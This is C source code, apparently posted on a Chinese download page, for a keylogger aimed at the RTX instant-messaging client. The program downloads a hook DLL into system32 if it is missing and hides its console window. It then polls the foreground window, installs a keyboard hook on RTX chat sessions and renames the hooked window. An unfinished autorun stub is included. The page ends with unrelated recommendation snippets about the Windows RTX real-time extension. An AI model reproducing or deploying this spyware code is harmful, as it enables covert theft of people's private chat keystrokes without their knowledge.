接rtxtail.c
BOOL AutoRun()
{
//TODO
}
int main()
{
HANDLE hLib;
HANDLE hModule;
HANDLE hConsole;
HANDLE hFore;
BOOL ftpSuccess = FALSE;
DWORD dllFile;
typedef BOOL (WINAPI *LPSH)(HANDLE);
LPSH SetHook;
typedef BOOL (WINAPI *LPDH)();
LPDH DropHook;
typedef HANDLE (*LPGCW)(void);
LPGCW GetConsoleWindow;
//dll does not exist
dllFile = GetFileAttributes("c:\\windows\\system32\\RTXKeyHook.dll");
printf("%d\n", dllFile);
if(dllFile != -1)
{
printf("file found !\n");
}
else
{
printf("file doesn't exist ! download...\n");
ftpSuccess = DownloadHookDll();
if(!ftpSuccess)
{
printf("failed to download dll !\n");
return -1;
}
printf("download ok!\n");
}
//hide console window
hModule = GetModuleHandle("kernel32.dll");
GetConsoleWindow = (LPGCW)GetProcAddress(hModule, TEXT("GetConsoleWindow"));
hConsole = GetConsoleWindow();
if(hConsole)
{
printf("console found!\n");
ShowWindow(hConsole, SW_HIDE);
}
//autorun
AutoRun();
hLib = LoadLibrary("RTXKeyHook.dll");
if(!hLib)
{
printf("failed to load library");
return -1;
}
SetHook = (LPSH)GetProcAddress(hLib, TEXT("SetHook"));
DropHook = (LPDH)GetProcAddress(hLib, TEXT("DropHook"));
while(TRUE)
{
hFore = GetForegroundWindow();
ZeroMemory(m_store, sizeof(m_store));
GetWindowText(hFore, m_store, sizeof(m_store));
if(strstr(TEXT(m_store), TEXT("- RTX 会话")) > 0
|| strcmp(TEXT(m_store), TEXT(unhookedName)) == 0)
{
printf("found!\n");
if(hLast != NULL)
{
DropHook();
SetWindowText(hLast, unhookedName);
}
SetHook(hFore);
SetWindowText(hFore, hookedName);
hLast = hFore;
}
Sleep(1000);
}
return 0;
}
分享到:
相关推荐
在Windows RTX环境下,内存共享可能需要额外的管理机制,因为RTOS通常有更严格的内存管理和调度策略。RTX可能提供了特定的API函数,如创建、销毁和访问共享内存区域,这些函数会与Windows API协调工作,确保实时性和...
"安晓风第一学期末RTX接收发送"可能是某个教学或实践项目中,用户创建的一个示例或测试文件,用于演示如何在Windows环境下使用RTX进行数据的接收和发送操作。这个文件可能包含了源代码、配置文件或实验报告,帮助...
在Windows操作系统环境中,为了实现高实时性的串口通信,开发者常常会借助于Windows实时扩展(Real-Time Extension,简称RTX)。RTX是一种针对Windows NT/2000/XP等系统设计的实时扩展库,它提供了低延迟、高优先级...
3. **实时性能**:RTX优化了系统调用和中断处理,确保了在Windows上实现硬实时性能,这对于需要严格时间约束的系统至关重要。 4. **同步与通信机制**:RTX提供了信号量、邮箱、消息队列等同步和通信机制,使得不同...
在Windows环境下,开发者通常会使用Visual Studio作为集成开发环境(IDE),配合RTX 3.4 SDK来编写、编译和调试实时应用。SDK提供的库和API允许开发者创建多线程应用,使用优先级调度,并且可以访问实时定时器和...
然后,需要修改 RTX 安装目录下的 Rtx.mak 文件,设置 VISUALSTUDIO 的值为 6、8 或 90,以便在 Visual Studio 中使用 RTX。 四、设置环境变量 设置环境变量是为了让 RTX 和 Visual Studio 能够正确地工作。在...
RTX 8.1 与 RTX 64 是两种实时操作系统(RTOS)的版本,它们主要用于将标准的Windows操作系统转换成实时系统,以满足对时间敏感和高精度任务的需求。RTX64 3.6 版本是64位的,而RTX 8.1 则代表了该技术的进一步发展...
安装后,开发者可以开始创建新的实时应用程序,利用Windows RTX的强大功能,实现高效的实时处理和系统响应。 总之,RTX 3.6 SDK是一个针对Windows平台的实时操作系统开发工具,它提供了必要的工具和库,帮助开发者...
此软件为实时Windows操作系统扩展,安装此软件后Windows操作系统...此为测试版,教学、学习和了解Windows RTX的性能没有限制,过期后修改系统时间又可运行。可“不受限制”光明正大使用。(不是盗版所以不受版权限制)
Windows RTX下PCI设备的读写寄存器与中断
RTX实时平台实现RS232通讯代码 关于windows开发 RTX下试试通讯的代码
本话题涉及的是如何利用C#进行RTX(Real Time eXchange,即时通讯系统)的二次开发,实现一个右下角弹窗提醒功能。这个功能在许多桌面应用中常见,用于向用户发送实时消息或通知。 RTX是腾讯公司推出的一款企业级...
RTX(Real-Time eXtension)是由Interval Zero公司开发的一款Windows实时扩展包,它能够在标准Windows环境中实现硬实时功能。RTX提供了一个实时子系统(Real-Time Subsystem, RTSS),该子系统可以在Windows上运行,...
在软PLC运行系统的设计中,本文通过多个实验和测试,证明了基于Windows+RTX平台的软PLC技术能够有效实现数控系统开关控制功能。此外,软PLC技术的应用大大提升了数控系统的开放性及兼容性,为数控系统的进一步发展和...
在Windows RTX的场景下,共享内存可能用于以下用途: 1. **消息传递**:RTX进程可以将接收到的消息写入共享内存,Windows应用程序可以通过读取这部分内存获取消息,实现快速的通知和通信。 2. **状态同步**:用户...
### 在Keil MDK517环境下添加RTX系统帮助文档的方法 在嵌入式开发领域,Keil MDK是一款非常流行的集成开发环境(IDE),主要用于ARM微控制器的软件开发。而RTX则是Keil公司提供的一款实时操作系统(RTOS),广泛应用于...
本文将详细介绍如何在IntervalZero的RTX实时操作系统环境下实现RS232通讯,包括必要的硬件配置、软件开发环境搭建以及具体编程步骤。 #### 二、RTX实时平台简介 RTX(Real-Time eXtensions)是由IntervalZero公司...